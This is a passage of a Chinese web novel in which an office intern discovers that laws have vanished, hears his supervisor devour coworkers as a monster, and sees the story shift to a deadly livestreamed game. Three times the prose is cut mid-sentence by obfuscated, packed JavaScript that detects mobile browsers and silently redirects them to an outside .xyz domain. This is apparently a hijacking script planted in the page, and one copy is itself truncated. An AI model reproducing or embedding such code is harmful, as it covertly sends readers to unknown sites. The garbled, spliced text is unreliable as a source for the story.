一道锐利如刀的视线刺在他的后背,高壮的阴影从头临下,气温都仿佛低了好几度。 但男人的目标不是谢叙白,后者动作麻利,刚好错开他的监视。 当他随意一扫,没发现什么问题后,冰冷的视线一秒挪开,径直扎向站在门口的人。 被抓包的小职员满脸胆战心惊,结结巴巴地辩解:“可……可是赵主管,现在应该还不到9点钟。” 赵主管是个年过50的中年男性,头发稀疏,长相一般。 在谢叙白的记忆中,他也就1米7左右,或许还不到。可眼前的中年人长得虎背熊腰,直起身能把过道堵死。 赵主管盯着小职员,眼神凌厉,带着不容置疑的强势:“难道我不知道现在不到9点钟?” 他一声囔得比一声高亢:“你再看看坐在这里的所有人,难道他们不知道现在不到9点钟?为什么其他人能提前一小时到公司打卡,就你做不到?” “我家住得比较远……” “还在狡辩!”赵主管怒吼出声,唾沫星子喷出,将小职员吓得脸色煞白,“住得比较远你不知道早点起床,非要贪那几分钟睡眠?成天懒得像只猪一样,看哪家公司愿意要你!废物!废物!” “还有你们,都在那看什么看?” 一些幸灾乐祸偷偷看热闹的目光瞬间消失,偌大的办公区域静得针落可闻。 可赵主管没准备善罢甘休,冷笑道:“既然都这么有闲心,那今晚全部留下来加班。” “以及——你!”他转过身,不客气地指着小职员的鼻子,厌恶地斥道,“扣两个月工资,现在滚回自己的工位!” 小职员脸上已经没了血色,但他被赵主管的威势和狠辣的眼神震慑住,不敢反驳什么,灰溜溜地回到工位上。 赵主管看着屁都不敢放的众人,似乎很满意无人反抗自己的权威,嗤笑一声,大摇大摆地离开。 等他走后,窸窸窣窣的讨论声响起,小职员才发现刚才的事还没完。 同事们似乎把被罚加班的罪过全怪在了他身上,看过来的目光饱含指责。 “傻逼吧,不知道来早点,连累大家一起加班。” “赵主管说得没错,他就是头猪。” “明知道做错了事,不老老实实等挨骂,还打算质问自己的上级。” “跟这种人一起工作,我厌蠢症都要犯了。” 小职员张了张嘴。 他看向手机屏幕显示的时间,现在才8:01。 也就是说,如果刚才赵主管没有拦下他,他是有时间准点打卡的。 他根本就没迟到。 可小职员一句反驳的话都说不出来。 众人批判鄙夷的眼神像一把把沉重的钢刀,刀锋砍断他的脊梁骨,压得他抬不起头,直不起腰。 谢叙白握着鼠标的手停下,望着那边的动静一言不发。 旁桌的同事用胳膊肘顶了下他的手臂:“看不出来你也这么爱看热闹,啊?” 声音毫无笑意。 谢叙白闻声看向身穿白衬衫的青年,后者眼睛微眯,看不出情绪。 这人是和他同一批进公司的实习生,比他小一岁,叫吕向财。但因为工作多,两人各自忙得脚不沾地,又属于潜在的竞争关系,此前几乎没聊上几句话。 谢叙白不知道向来对自己不冷不热的吕向财,刚才为什么会好意提醒自己,低声道了句谢。 吕向财没接他话,冷淡地挪回目光,忽然瞥见谢叙白起身,朝那名小职员走了过去。 青年从后靠近小职员,削瘦的身体正好挡住大部分不怀好意的视线,礼貌笑问:“你好,我的文件夹没有了,可以借我一个吗?” 听到温言细语的问话,脑袋快垂到桌面下的小职员一秒挺身,呆呆地注视着谢叙白那张毫无恶意的脸。 “……啊。”小职员如梦初醒,慌忙地翻找自己的办公桌,“可,可以!我记得剩有几个,你等一等。” “没事的,不急。”说话的功夫,谢叙白环顾周遭。 那些视线还没撤去,似乎不明白,谢叙白怎么敢在这个节骨眼靠近被视为害群之马的小职员,还表现得这么友善。 困惑、别扭、不自在。 谢叙白将那些目光挨个看了回去。 但也有几个刺头,目光像钉子一样饱含恶意,牢固得很,梗着脖子面露讥讽。 刚还神情冷淡的吕向财忽然站起身,一脸惊讶地高声喊道:“呀,赵主管,您怎么又回来了?大家都在认真工作呢,就那几个东张西望的在偷懒!” 瞬间,那几个欺软怕硬的家伙一个激灵,慌慌张张回头,盯着电脑严阵以待:“没偷懒,我们没偷懒!” 噗呲。 不知道是谁先笑出的声,慌张回头发现赵主管根本不在的几人脸颊涨红,难堪得想要钻到地里去。 吕向财远远地朝谢叙白比了个大拇指,谢叙白见状,也忍不住低头轻笑。 笑声传到刚抬头的小职员耳朵里,后者视线往上,一眼瞧见青年曲线流畅的侧颊。 那人嘴角的弧度微微上扬,白炽灯下,仿佛隐约发着光。 小职员出现片刻的恍惚,直到谢叙白低头看他,连忙将文件夹送过去:“这里,给。” “谢谢。”谢叙白接过,另一只手在他后背轻轻拍了一下,“十年寒窗苦读都没把它压垮,怎么被几个趋炎附势的小人看折了?” 小职员仿佛被他掌心温度烫到,立马把背挺笔直。 “你意有所指什么呢?”旁边的人脸上挂不住,眼看着要发火。 谢叙白忽然转头,表情一变:“啊,赵主管。” 那人条件反射地把脑袋缩了回去,脸上的怒火像被一盆凉水浇灭了似的,滋啦冒着青烟。 直到周围又有隐约的笑声传来,门口毛都没看见,他才反应过来被耍了。 好家伙,梅开二度。 吕向财,谢叙白,这两个满口谎话的混账东西! 谢叙白拍了拍小职员的肩膀,转身回到工位。 吕向财往后一瞧,小职员双眼发光,隔着几个工位过道看英雄般地望过来,和谢叙白开玩笑:“就这么得罪全体同事,你不怕啊?” 毫无“同伙作案”的自觉。 “怕。”谢叙白道,“他们过后要是搞团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579651|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体霸凌,那我可受不了,只能辞职了。” 他像是随口一说,但神色平静,完全不见有动摇。 吕向财瞅着他,忽然意味不明地说了一句:“放心,他们不敢的。” 谢叙白只当这是安慰。 “你今天看起来格外顺眼。” 吕向财视线扫过一圈,停在谢叙白的脸上,接着露出和早餐店老板同款惊艳表情:“奇怪,以前你有这么好看吗?” 被早餐店老板夸,那是熟人问好。 被不是很熟悉的同性同事夸好看,总觉得有点怪怪的。 谢叙白不失礼貌地笑了笑,没应声。 吕向财也不在意,瞄向他桌下的油条豆浆说:“刚才我救了你一命,请我吃顿早饭,不过分吧?” 他指自己提醒谢叙白回神的那一声。 刚好老板多给了一根油条,谢叙白顺势分给他。 吕向财也顾不上脏手,拿起就吃,狼吞虎咽的样子像饿了好几顿。 看他吃得这么急,谢叙白想了想,又把自己那份拆一半递过去。 这次吕向财的眼里带上了货真价实的感激。 等人吃完,谢叙白再问:“你来得这么早,怎么没买早饭?” “可别提了,昨晚上那死扒皮地中海不知道抽什么风,在你走后,又过来布置了一大堆工作,我们根本没功夫回家,将就在椅子上睡的。” 吕向财抬手往背后一指,好几个面容憔悴,眼圈青黑,分分钟能被担架抬走的那种。 他看着谢叙白.精气神十足的样子,羡慕得直嘟囔:“早知道昨晚和你一起走了。” 听到这里,即使淡然如谢叙白,也不免惊异:“家都不让回,大家没意见么?” “怎么可能没有!但那有什么用,还不是得乖乖加班。”吕向财摆了下手,退回去继续工作,叹气道,“加油干吧,按照公司的规定,只要咱们表现突出,有望在三年内转正,多干两年没准还能买保险。” 他语气甚至还带着点憧憬。 工作三年转正,五年才给买保险,还得表现突出。 如此惊世骇俗的发言,刺激得谢叙白太阳穴突突直跳。 像是一盆凉水兜头淋下,他猛然反应过来,这家公司离谱的规定还不止这一条。 比如9点上班却硬性要求8点打卡,迟到几分钟扣两个月薪水,赵主管强迫全体员工无偿加班,员工累得快猝死了也没人敢反对。 为什么他工作的这两个月,完全不觉得有问题? 谢叙白连忙喝了口豆浆压压惊,冷静地打开手机,搜索《劳动法》。 结果是一片空白,查无此词条,刷新几遍都一样。 网络正常,手机没出故障。 法律条款上百条,总不可能是他臆想出来的。 谢叙白转向吕向财:“你知不知道劳动法……” 吕向财一脸茫然:“劳动法?那是什么东西?” 看衬衫青年的表情不似作伪,谢叙白意识到事情可能比他想的还要离奇,缓缓拧紧眉头。 他又接着搜索,民法,宪法,刑法,经济法……他几乎将所有印象中的律法搜完了,得到的结果令他陡然手脚发凉。 没有……法律? 这怎么可能? 5. 第五章 转眼,一个上午过去。 午休包括吃饭时间,只有二十分钟。这不把员工当人看的规定是一条接一条。 不少员工感到压抑,即使只剩几分钟也不愿意回工位,跑到各个地方透气。 谢叙白也在其列。 他到楼下买个面包,两三口吃完,就在楼道里躲清闲。隔着一扇金属防盗门,谁也不知道他在里面。 最重要的是,不一个人好好冷静一下,谢叙白实在没法接受“世界没有法律”这种颠覆三观和九年义务教育观的事情。 他怀疑自己脑子出问题,看手机屏幕花了眼,主观扭曲吕向财说的话,都没怀疑过法律存在的必然性。 千度一下:问一个人两天连续出现几次幻觉的可能性是多少? 最佳答案:建议住院。 谢叙白:“……” 门外忽然有人来,听脚步声,是两个成年男性,其中一个粗嗓子张口就开骂:“妈的,那死胖子也太把自己当回事了,他说加班就加班?” 另一个人回道:“山中无老虎,猴子称霸王呗,现在整个公司就是他的一言堂。” 粗嗓子不屑冷笑:“他的一言堂?我呸!一个破主管而已,他算老几?要不是宴总在休眠……” 休眠? 谢叙白第一次听到有人将这个词汇用在人身上。 说起来,他知道公司的总裁叫宴朔,年轻时从家里接手一家快要破产的小公司,也就是如今这家五百强企业的前身,亲身上演烂泥糊出承重墙,被誉为业界的一大传奇。 据说人还不到三十岁,俊美无俦,上流圈子的太太们一直想把他捉为自家门庭的金龟婿,只恨终日不见人。 这不算稀奇,谢叙白过来实习两个月,连人长什么样子都不清楚。 他以为宴总有事出差,不在当地,但听外面两人的描述,总裁似乎一直都在这幢商业大厦的顶层……休眠? 很奇怪的说法,充满槽点和疑点。 但一想到连法律都消失了…… 谢叙白忍不住按揉胀痛的太阳穴。 不知道是不是难得放松,门外两人一聊没完,逐渐没了顾忌。 他们对传说中的宴总充满狂热,就差没焚香叩拜尊其为神明。 哪怕他们和谢叙白一样,根本没见过本人。 “主管乱改公司规定,肯定没得到宴总的同意,不如我们去喊醒宴总收拾他……” 也是这个时候,那两道高谈阔论的声音倏然一变,像被人掐住脖子,充满恐慌。 “……主管?!您,您怎么在这?不是,我们只是说说,没打算真去找宴总,您听我们解释!” 谢叙白倏然回神。 岂料下一秒。 噗呲。 门外猛然传来利爪穿透肉.体的闷响。 那声音又轻又闷,谢叙白也不知道自己为什么能精准分辨出是什么动静。 寒意顺着脊梁冲向脑神经,冷汗争先恐后地从毛孔渗出。 他的动作钉在原地,一度希望自己听错了。 事与愿违。 “唔唔——” 谢叙白听出这被死死压制住的惨叫,来源于刚才的粗嗓男。 咚!嘭嘭!…… 两名成年男性疯狂蹬踹在墙壁上,发出的震响却在不容抵抗的力道下渐渐消弭。 嘎吱嘎吱…… 像是昆虫的口器切割在骨头上,利齿凿碎外层,黏腻的舌头钻入孔洞吮吸骨髓,慢条斯理地咀嚼。 “啊啊啊啊——” 如此折磨之下,两人竟然还未断气! 主管似乎用什么东西堵着他们的嘴,令他们不能大声求救,谢叙白所处的位置,只能听到几道撕心裂肺的闷哼。 亲耳见证两个大活人被蚕食是什么感觉。 遍体生寒。 能条件反射地撑住身体、放轻呼吸,已经用尽谢叙白全部的力气。 也是这个时候,他眼角余光瞄见楼梯口出现的影子,涣散颤动的目光骤然凝实。 楼道里居然还有其他人在? 不能让那人下楼,万一惊动主管—— 生死存亡间,谢叙白有些发软的手脚,忽然爆发出惊人的速度。只见他抬手脱鞋,避免厚重坚硬的鞋底在瓷砖上踩出声响,又穿着布袜子三步并作两步,跨到那人面前。 来人冷不丁被谢叙白单手捂住嘴,立时瞪大眼珠子,反手去扳他的手腕。 ‘等会儿,谢叙白?’ 从那人惊讶的眼神中,谢叙白看出他心中的疑问。 同时他也没想到,来人竟是吕向财。 可楼上不是公司高管的地盘吗? 吕向财按住谢叙白捂住自己嘴巴的手,心想这是演的哪一出。 直到他也渐渐听到那毛骨悚然的咀嚼声,亦看见顺着门缝淌进来的血,又沿着地砖缝隙朝外蔓延。 吕向财:我靠! 看着吕向财瞪得圆溜溜的眼睛,谢叙白猜测对方一定在心里直骂娘。 ……可为什么没有害怕和意外? 不等谢叙白看仔细,忽然,门外的咀嚼声毫无征兆地停下。 在一片死寂中,厚重的鞋底摩擦地面,踩踏血泊,发出黏稠清脆的脚步声,径直朝他们的位置靠近。 谢叙白暗道要遭,拽住吕向财就要往下跑。 吕向财反应慢一拍,但他力气大,反手就要把谢叙白往上拽。 一上一下,拉扯起来必定耽误时间,谢叙白果断松力,任由吕向财带他跑到楼上。 两人一路直上五楼,在防盗门的感应器前,拿出一张红色的门禁卡,一刷。 咔,门开了。 就在他俩进门的一刹那,楼下三层的防盗门“嘭!”一声,被大力踹开。 门后挤进来一座被血染红的“肉山”,臃肿的躯体上,肥肉层层叠叠,随移动的脚步荡出波浪纹。爪子勾着破碎的肠子,一节节地往下掉。嗜血贪婪的眼睛陡然出现在防盗门的夹缝中,骨碌转动,像童话故事中能把小孩吓哭的恶狼。 此时的楼道里空荡荡,没有一个人在。 然而怪物不傻。 它走进来,鼻子动了动,嗅到空气里还未散开的人类气味,陡然发出一声刺耳尖锐的咆哮! 听到咆哮声,谢叙白的心跟着沉到谷底。 光天化日之下,怪物不仅敢吃人,还敢堂而皇之地吼出声,不是有恃无恐,还能是什么?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579652|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他几乎瞬间联想到昨晚发生的变故,还有消失的法律。 虽然是八竿子打不着的关系,但两者都有着同样的性质:它们诡谲离奇,远远超出了正常人的认知。 如果这才是世界真实的样子,那他家平安,是不是真的…… 谢叙白内心受到莫大冲击,一点点攥紧手指,突然不敢再想下去。 吕向财见谢叙白沉默不语,以为他在害怕,安慰道:“没事,赵主管没资格进入五楼,我们很安全。” 谢叙白抬头,吕向财又咧开嘴冲他安抚地笑了一下:“不管怎么说,我欠你一次。” 吕向财也是忽然反应过来,谢叙白位置靠近楼梯口,如果对方不管自己的死活,或者心狠点直接拿他当诱饵,完全可以提前跑掉。 青年竟为了救他,不惜冒着被发现的风险。 一想到这,吕向财微妙的有点高兴。 谢叙白确认他是知情者,便问:“你知道主管他……” “停。”吕向财用手指抵住他的嘴,意味深长地说道,“别问,那不是你该知道的事情,如果你还想回到正常世界的话。” 谢叙白蹙眉。 他想起其他同事对吕向财的评价,从来都是:固执莽撞,不服管,即使很有上进心,也少不了年轻人的一些臭毛病。 可如今,单凭吕向财这张讳莫如深的深沉脸,他怀疑之前全是对方混淆他人视听的伪装和假象。 谢叙白稍微冷静下来。 吕向财摆明不会告诉他实情,他不做无用功,哪怕满肚子疑问也没继续追问,只是如实陈述:“已经回不去了,就在几分钟前,午休时间结束。等会儿主管回到一楼,知道我俩没能按时回到工位,肯定会怀疑到我们的身上。” 吕向财则咧嘴笑了笑,浑不在意地说:“放心,说好欠你一次,我肯定会对你的安全负责。” 说罢,他抬脚步入旁边的电梯,边对谢叙白说道:“那边有沙发可以坐,还有饮料零食WiFi,你在这儿等我一下,不会太久。” 语气温和,像哄独自一人在家的小孩子。 谢叙白看他一眼,应了声。 等吕向财走后,他回看五楼的布局,有点沉默。 精美华丽的装修铺设在面前,晶莹剔透的水晶吊灯投下柔和的余晖。 老虎机、跳舞机、台球桌……甚至还有酒吧和舞池,地上全是酒杯的碎玻璃,红红绿绿的酒水撒了一地,沙发缝里夹着半打衣服,一片狼藉。 这里像是才开过一场疯狂的派对。 谁能想到,仅是一层之隔,底下4层是休息时间论秒算的碌碌众生,顶上是灯红酒绿、纸醉金迷。 空气里弥漫着一股浑浊腥臭的气味。 谢叙白终究还是没过去,搬来一个凳子,坐在电梯口等人。 等吕向财回来,第一眼看到的就是坐在高脚凳上的谢叙白。 青年垂下狭长的眼睫,脸上没什么表情,两条腿却极有反差感地一摇一晃,看着莫名乖。 吕向财下意识勾起嘴唇。 可当他抬眸看向室内,扫过那杯盘狼藉的一幕幕,醒悟过来谢叙白为什么好端端的沙发不坐非要坐在这儿时,突然就笑不出来了。 6. 第六章 谢叙白坐在高脚凳上,思考时习惯微微垂睫,凳子下面的横条有点卡脚,便下意识晃了下腿。 他并不担心吕向财能不能解决赵主管。 这幢商业大厦总共32层,越往上走,职位越高,权利也越大。主管素日嚣张跋扈,也只有1-4层的管理权。吕向财能拿到5楼的门禁卡,说明对方不是一般人。 就在这时,吕向财没事人一样从电梯里走出来:“好了,搞定了。我把今天下午的工作任务调整成出外勤,在可查询的记录里,午休时我们根本不在公司。” “你如果想,现在就可以直接回家,或者去哪儿玩,都没问题。” 男人漫不经心地笑着,神色散漫,却莫名叫人信服。 就现在的情况,哪怕谢叙白心再大,也不可能继续回工位上班。 谢叙白点头,刚要转身,男人看着狼藉脏乱的吧台,冷不丁叫住他:“对了,你有没有看过一本书,《献给阿尔吉侬的花束》?” 谢叙白不明所以地回头。 “关于智障主人公接受开智手术,从而获得非凡智力的故事。比较让人惋惜的是那只一起接受手术的小白鼠,最后因手术副作用引发心智和体能的急速衰竭,最终丧命。” 吕向财笑道:“这个故事告诉我们,获取认知之外的知识是有代价的。” “……”谢叙白注视着似笑非笑的男人。 他当然不会认为吕向财是忽然倾诉欲爆棚想给自己讲故事,对方在意有所指什么? 联想到之前的谈话,谢叙白灵光一现:“你想告诉我,之所以不能将赵主管和公司的事情袒明,是因为那些是我不能知道的‘知识’,它们超出了我的认知?” 这次换吕向财露出些许意外之色。 他想过谢叙白能悟到话里的深意,却没想到,青年能在短短几秒内转过弯来。 谢叙白却已沉浸在自己的思绪里。他从小到大脑子就比较灵活,很擅长举一反三。 诸多想法一掠而过,他忽然顿住,一个相较成熟的猜测在脑海中慢慢成型。 ——有没有可能,赵主管就是接触到某类禁忌知识,才异化成怪物? ——但是说不通,如果只是赵主管一个人产生异化,为什么法律会消失?那可会影响到全国,不,何止是全国,已经都到了会动摇全世界的地步! ——难道说,在他毫无所知的时候,整个世界早已产生异常? “唔!” 谢叙白毫无征兆地头疼起来。 吕向财见他额角青筋暴跳,一惊,下意识将他扶住,厉声呵斥:“你在想什么?别去想!” 他万万没能猜到,只是语焉不详的一句话,都能让谢叙白联想到那些不可触碰的禁忌知识。 这人的脑袋到底是怎么长的? 谢叙白听不清他的声音,只感觉这非人的痛感十分熟悉。 是了。 他恍惚想起来,昨天晚上也是这样,当他想要进入巷子,去查看狗子的安危时,就是这莫名的疼痛在阻挠他。 眼见谢叙白双眼涣散,一张脸惨白失色,身体开始无意识抽搐。吕向财狠狠地啧了一声,抬起食指。 他指尖凝着一颗黑色的水珠,散发着阴冷不祥的气息。 黑水珠靠近谢叙白时,青年痛苦的模样稍有缓解,但脸上却浮现出一抹浓郁腐朽的尸气。 吕向财看着青年,眸色几经变化,最后轻笑一声:“变成怪物总比死了好,对吧?” 他说着就要把水珠滴在谢叙白的眉心。 岂料这时,一只骨节分明的手握住他的手腕,阻止他向前。 吕向财讶异低头,发现谢叙白不知什么时候恢复意识。仿佛知道男人想要救自己,他咬牙说道:“没事,我还可以撑住。” 这次痛得比昨晚要剧烈一些,但他也算一回生二回熟,勉强没有痛晕过去。 实在难忍,他忘记自己还拽着吕向财的手,指尖因大力而泛白。 吕向财被青年捏红皮肤,却好像毫无知觉。 在他看过去的视野中,青年一双眼睛被无边痛色渲染,却始终保持着一丝清明,如屹立在风暴中的磐石,坚不可摧。 啪嗒。 吕向财摊开下意识伸出去的另一只手。 黑色水珠摇摇晃晃,终究还是落在了他自己的掌心。 不多时,谢叙白缓了过来,全身被汗水浸湿,嗓子干得快冒烟。 见吕向财递来一杯水,他接过,一口气喝完,总算好受不少:“谢谢。” 男人没说话,目不转睛地盯着他,仿佛重新认识他这个人。 “我犯了一个低级错误……”他一字比一字凝重,“竟然没看出你曾经历过觉醒。” “可你没有异化成怪物,依然是个普通人,为什么能有这么强的意志力?” “一个可以随便靠近怪物,理解怪物,却坚定到不会被异化的普通人。糟了,你会成为所有怪物……”趋之若鹜的对象。 话没说完,吕向财脸色一变。 谢叙白只来得及往他脚底看上一眼,这一眼,令他毛骨悚然。 男人的影子,在动。 并非随着光线自然移动,那团影子就是个活物! 电光火石间它蠕动游弋,速度远超人类的极限反应,贴着地板缠上谢叙白的脚踝。 冰冷光滑,湿漉黏腻。 从未有过的鲜明触感,瞬间激起谢叙白一身的鸡皮疙瘩。 他想也没想地蹲身,要将那玩意拽开,岂料阴影很会顺杆子往上爬,果断换目标,从缠裤脚改成缠手腕。 【喜欢,好喜欢……】 如古神呢喃的呓语,充斥着原始强横的占有欲,在谢叙白脑子里不断回响,令他大脑一空。 就在这时,吕向财上前,伸手捉住那阴影,强硬地将它从谢叙白的手腕上撕扯下来,一脚踩在地面。 阴影不甘愿地扭来扭去,不断冲撞男人的鞋底,发出砰砰声响,似乎还想故技重施。 吕向财闭了闭眼,看向谢叙白:“现在的你不适合再留在这所大厦,我给你带薪休假,等收到通知再过来上班。” “以及,记住一个忠告。”吕向财一字一顿地说,“在这个早已扭曲的世界,【普通】,【正常】,是怪物们梦寐以求的奢望,但不是所有怪物都有爱护宝物的自制力,如果有的话……” 后半句话,他终是咽了回去。 谢叙白握着凉意未散的手腕,一时间不知道该作何反应。 但他有一个优点,就是足够理智,能很快认清局势,不会在不该开口的时候刨根究底。 快步离开前,谢叙白回头,最后看了眼屋内。 吊灯不断摇晃,墙壁裂开细纹,大理石地板被浓郁深邃的黑暗所笼罩,好像有什么可怕的怪物在地下蠢蠢欲动。 吕向财位于黑暗中央,浑然像是变了一个人,脸色阴鹜冰冷。 注意到谢叙白的视线,他也随之看过来,忽地勾起一个玩世不恭的笑:“回去吧,小问题,到家记得给我发消息。” 离开公司大厦,谢叙白如梦似幻地坐上回家的地铁。 这两天发生的变故比他半辈子经历的都多,一路上他的思绪就没停过,要么想刚才发生的事,要么想以后。 最终,他站在狗子栖息的小巷口。 没有看见那道瘦瘦的身影,巷子深处似有若无地传来动静。 谢叙白垂睫思索半秒,深吸一口气,鼓起勇气走进去。 他的到来明显惊动了什么,数道小影子从墙角阴影蹿出,马不停蹄地赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579653|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去通风报信。 谢叙白余光瞥见,假装什么都不知道,目不斜视地往前走。 等他走到深处时,狗子就在窝旁等着他,压抑着身体的异常。 为什么谢叙白能看出狗子在压抑自己?因为狗子喘息未匀,微微龇牙,眼中还有没退散的嗜血之色。 可那些暴虐的情绪,在看向谢叙白的时候,立马变成忐忑。 今早也是这样。那时候谢叙白以为狗子还没有习惯自己,所以显得拘束。 如今再想,狗子其实非常紧张,怕自己发现什么异样。 可是这很没有道理。 谢叙白心口隐隐作痛。 身为怪物的平安,被人类虐待致死的平安,不说有赵主管的残忍嚣张,至少也不该这样小心翼翼。 ——不是所有怪物都有爱护宝物的自制力,如果有的话……那一定是将宝物爱到了骨子里。 此时此刻的谢叙白,终于明白吕向财后面想说的是什么。 “……平安。”谢叙白忽然很严肃地说,“我才发现你是一条傻狗。” ?狗子一脸懵。 没被讨厌畏惧,没被质问怀疑,但被骂……傻? “傻狗!”谢叙白乍然绽出灿烂的笑容,拿手揉搓狗子的脸蛋,像在搓面团,“你说自己是不是一条傻狗,嗯?是不是平安,一脸傻兮兮的。” 有人养的宠物都知道,主人是个谜,会不分地点、不分时间、不定期发癫。 但狗子平安不知道,它经验浅,这方面还很天真无邪。 于是懵逼的状态一直持续到谢叙白愈发猖狂,开始对着它上下其手,手段之“残忍”,让沉稳的狗都忍不住开始嗷嗷叫。 “受不了了吧?这就是主人深沉的爱,你只是一只小狗狗,你是跑不掉的!” “呜汪!” 被揉得太过分,狗子本能地开始龇牙,忽然反应过来这会惹人害怕厌恶,浑身僵硬。 谢叙白果然反应很大,他浮夸地“哈”了一声,笑意不减,眉梢微挑:“你还想咬我啊?胆大包天了平安,等着接受主人的制裁吧!” 看青年得意洋洋,狗子终于快要碎了,呜呜汪汪地反击。 它没能意识到,拘谨内敛的自己在慢慢放开,也没有意识到,它无意之间露出来的凶恶,都被谢叙白有意识地忽略,不着痕迹地抚平。 这里没有吃人的怪物和被吃的人,只有普普通通的傻狗和傻主人。 ——如果普通是怪物梦寐以求的奢望。 谢叙白看着嗷呜嗷呜张嘴叼他衣袖的狗子,眸眼弯起。 那他就把普通包裹成礼物,送给他爱的怪物。 而在另一边,一队奇装异服的人终于等来队友的苏醒,边给他治疗,边着急忙慌地问他刚才发生了什么事。 细看队友的身体,伤痕累累,鲜血淋漓,惨不忍睹到下一秒咽气都不稀奇。 在治疗的持续作用下,他终于恢复意识,额头上冷汗直直往下淌,气若游丝,痛得说话都带颤音,颠三倒四。 “我,我被拖入幻境,变成被关在笼子里的宠物人,然后,出现一个身体直立的巨型猫人,它对我……” 队友忽然打了一个哆嗦,满眼都是恐惧,怕到失声。 在其他人的追问下,才勉强再次开口:“我看到了诡王的样子,但没看清。” “它给我的感觉,很可怕,很强大,很邪恶。自己没有动手,就在旁边看其他的猫人犬人折磨我,可在我以为自己快死了的时候,它好像……有什么急事?” 队友不太确定地说着,自己都觉得不可思议:“它就那样迫不及待地跑了,甚至懒得再看我一眼。” 其他人面面相觑。 而无形的直播镜头,也忠实记录下了眼前这一幕。 7. 第七章 游戏空间,直播大厅。 偌大的空间中悬浮着若干屏幕,厚度薄得像一张纸,却一反常理有着极其高清的辨识度。 数万个屏幕被分散到不同的区域,有的只有手机大小,有的却大到如同家庭电影院的投屏,上面显示着各个玩家正在通关试炼的第一/第三视角。 观众刚点进直播间,就被那凄厉的惨叫吓得心口一哆嗦。 “救命!救……救救我!”屏幕前陡然钻出来一张惊恐万分的脸,他的嘴里不停吐出暗红色的血块,手用力拍打屏幕,留下一连串狰狞的血手印,大声痛哭流涕,“我不敢了!让我走,离开这个鬼地方,救命啊啊啊啊啊!” 话音未落,主播疯狂呼救的动作猝然定格。 一只利爪悄无声息出现,穿透他的喉管。 他颤颤巍巍地按住不断涌血的咽喉,试图挣扎,却被不容抵抗地踩在地上。 随即,身后露出一张毛绒绒的脸。 那是一只体格堪比大象的猫。大脸凑近,瞬间占满整个屏幕,深绿色的竖瞳凝成危险的针状,显露出不带有一丝感情的冰冷。 也是这个时候,这双象征着无情掠食者的猫瞳,透过屏幕俯视着观众的脸,缓缓地、无声地弯成了一条弧形。 站在屏幕前的观众见状,心脏都差点炸开。 不对它怎么看得见?!救命—— 啪! 因直播间的主人死亡,屏幕陡然一闪,化作无数光点消失。 几名观众终于从手脚冰凉的状态恢复过来,发现他们的手正无意识地交叠挡在头顶,而且还在发抖。 刚才一瞬间,真的有那只大猫会穿过屏幕来杀掉他们的惊悚感。 这就是A级诡王副本的压迫力吗? 就在几名观众愣神的间隙,周围的屏幕至少陆陆续续地消失了三、四十个。 仅仅不到半天时间,直播大厅就空掉一大半,如此惨烈的伤亡率简直前所未有! 恐慌、不敢置信的议论声充斥着整个大厅。 “七天限时副本,通常第一天都不会太危险,这次为什么会不一样?” “刚才出手的诡猫甚至只是其中的一个小杂鱼,连精英怪都算不上。” “目前没有看见顺利逃脱的人,这次彻底完了!” 越来越多的人面露绝望。 忽然,一道惊喜十足的呼喊打破压抑沉重的氛围,从某个直播区域传来。 “成功了!他活下来了,天啊!” “有玩家成功躲过第一次袭击!” 此话一出,如同沸腾的油锅里泼入冰水,整个中央大厅瞬间炸开了锅。 无数玩家鱼涌而至,山呼海啸般囔囔着“我靠真的假的?”“牛逼啊,哪位大佬发现的保命方法?”…… “都快别吵了,有没有哪位观看直播的兄弟姐妹好心分享一下主播刚才是如何逃命的,我出1000积分!” 悬赏声此起彼伏,都是花积分求刚才的保命攻略,火急火燎,迫在眉睫。 新人看到这副狂热的景象,瞠目结舌:“他们是怎么了?” 通关失败的玩家会被清空记忆,重生在中央大厅的登出口。 所以哪怕人数固定,这里也永远不缺新人玩家。 老玩家对一脸懵的新人解释道:“在这个地方,任何通关经验、技巧都可以类比为一种禁忌知识,它们的传播受到各方面限制。有直播存在,但不能录播和录视频,也不能靠写字、画画、录音、拍摄之类的手段保存下来,只能靠人脑记忆。” 新玩家登时都惊了:“限制这么多,只能靠记?那万一记性不好,记不下来该怎么办?” 老玩家指向那边疯狂求攻略的玩家们:“你以为他们为什么要这么激动?就是怕知道攻略的观众忘记内容,到时候买都买不到。” 老玩家:“要知道副本一旦首通成功,就会投入到试炼池,供其他未参与的玩家攻略,这也是大部分玩家的主要积分来源。” 积分是玩家赖以生存的资源,玩家可以用积分在系统那兑换物资、道具和技能,也可以用作基础货币在市场上流通。 所以每当有新试炼生成,直播热度和观众热情就会空前绝后的高涨。 